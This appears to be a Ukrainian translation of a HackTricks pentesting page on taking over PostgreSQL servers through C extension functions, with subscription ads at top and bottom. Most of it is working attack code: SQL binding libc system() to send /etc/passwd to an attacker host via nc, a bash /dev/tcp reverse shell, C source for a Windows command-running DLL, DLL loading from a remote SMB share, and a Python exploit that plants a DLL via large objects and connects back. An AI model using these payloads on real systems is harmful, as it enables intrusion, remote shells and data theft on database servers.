Ви працюєте в кібербезпецівій компанії? Хочете побачити рекламу вашої компанії на HackTricks? або хочете мати доступ до останньої версії PEASS або завантажити HackTricks у PDF? Перевірте ПЛАНИ ПІДПИСКИ!
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
PostgreSQL був розроблений з можливістю розширення як основною функцією, що дозволяє безперешкодно інтегрувати розширення, ніби вони були вбудованими функціями. Ці розширення, в основному бібліотеки, написані на C, збагачують базу даних додатковими функціями, операторами або типами.
Починаючи з версії 8.1, на розширення накладається конкретна вимога: вони повинні бути скомпільовані зі спеціальним заголовком. Без цього PostgreSQL не виконає їх, забезпечуючи використання лише сумісних та потенційно безпечних розширень.
Виконання системних команд з PostgreSQL версії 8.1 та попередніх є процесом, який був чітко задокументований і простий. Це можливо використовувати це: Модуль Metasploit.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Записати двійковий файл з base64
Для запису двійкових даних у файл у postgres можливо знадобиться використання base64, це буде корисно в цьому випадку:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Однак, коли спробувати на більших версіях, буде показана наступна помилка:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Щоб забезпечити, що динамічно завантажений об'єктний файл не буде завантажено в несумісний сервер, PostgreSQL перевіряє, чи файл містить "магічний блок" з відповідним вмістом. Це дозволяє серверу виявляти очевидні несумісності, такі як код, скомпільований для іншої основної версії PostgreSQL. Магічний блок потрібний починаючи з PostgreSQL 8.2. Щоб включити магічний блок, напишіть це в одному (і тільки одному) з файлів джерел модуля після включення заголовка fmgr.h:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Починаючи з версії PostgreSQL 8.2, процес для зловмисника, який намагається використати систему, став більш складним. Зловмисник повинен використовувати бібліотеку, яка вже присутня в системі, або завантажити власну бібліотеку. Ця власна бібліотека повинна бути скомпільована для сумісної основної версії PostgreSQL та повинна містити певний "магічний блок". Ця міра значно ускладнює використання систем PostgreSQL, оскільки вимагає глибокого розуміння архітектури системи та сумісності версій.
Скомпілюйте бібліотеку
Отримайте версію PostgreSQL за допомогою:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Для сумісності важливо, щоб основні версії відповідали одна одній. Тому компіляція бібліотеки з будь-якою версією серії 9.6.x повинна гарантувати успішну інтеграцію.
Потім завантажте скомпільовану бібліотеку та виконайте команди за допомогою:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Ви можете знайти цю бібліотеку попередньо скомпільовану для кількох різних версій PostgreSQL, і навіть можете автоматизувати цей процес (якщо у вас є доступ до PostgreSQL) за допомогою:
RCE в Windows
Наступна DLL приймає на вхід ім'я виконуваного файлу та кількість разів, які ви хочете його виконати, та виконує його:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Ви можете знайти DLL, скомпільований у цьому zip-файлі:
Ви можете вказати цій DLL який виконуваний файл виконати та кількість разів його виконання, у цьому прикладі він виконає calc.exe 2 рази:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Зверніть увагу, що в цьому випадку зловмисний код знаходиться всередині функції DllMain. Це означає, що в цьому випадку не потрібно виконувати завантажену функцію в postgresql, просто завантаження DLL викличе виконання зворотного шелу:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
Виконання коду на віддаленій машині в останніх версіях Prostgres
У останніх версіях PostgreSQL були введені обмеження, за якими суперкористувачзаборонено завантажувати файли спільних бібліотек, крім зазначених каталогів, таких як C:\Program Files\PostgreSQL\11\lib у Windows або /var/lib/postgresql/11/lib на системах *nix. Ці каталоги захищені від операцій запису за допомогою облікових записів NETWORK_SERVICE або postgres.
Незважаючи на ці обмеження, аутентифікований суперкористувач бази даних може записувати бінарні файли на файлову систему, використовуючи "великі об'єкти". Ця можливість розширюється на запис у каталозі C:\Program Files\PostgreSQL\11\data, що є важливим для операцій бази даних, таких як оновлення або створення таблиць.
Значна вразливість виникає від команди CREATE FUNCTION, яка дозволяє обхід каталогів у каталозі даних. В результаті аутентифікований зловмисник може експлуатувати цей обхід для запису файлу спільної бібліотеки у каталоз даних, а потім завантажити його. Ця атака дозволяє зловмиснику виконати довільний код, досягаючи виконання вихідного коду на системі.
Послідовність атаки
Спочатку вам потрібно використовувати великі об'єкти для завантаження dll. Ви можете побачити, як це зробити тут:
Після завантаження розширення (з назвою poc.dll для цього прикладу) у каталог даних ви можете завантажити його за допомогою:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Зверніть увагу, що вам не потрібно додавати розширення .dll, оскільки функція create додасть його.
Для отримання додаткової інформації читайтеоригінальну публікацію тут.
У цій публікації буввикористаний код для генерації розширення postgres (щоб дізнатися, як скомпілювати розширення postgres, прочитайте будь-яку з попередніх версій).
На тій же сторінці було наведено цей експлойт для автоматизації цієї техніки:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0])sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll:d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048):start = i *2048end = (i+1) *2048if i ==0:sql +="update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;"% (i, d[start:end].hex())else:sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d)%2048) !=0:end = (i+1) *2048sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile:sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")
Ви працюєте в кібербезпецівій компанії? Хочете, щоб ваша компанія рекламувалася на HackTricks? або ви хочете мати доступ до останньої версії PEASS або завантажити HackTricks у форматі PDF? Перевірте ПЛАНИ ПІДПИСКИ!
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT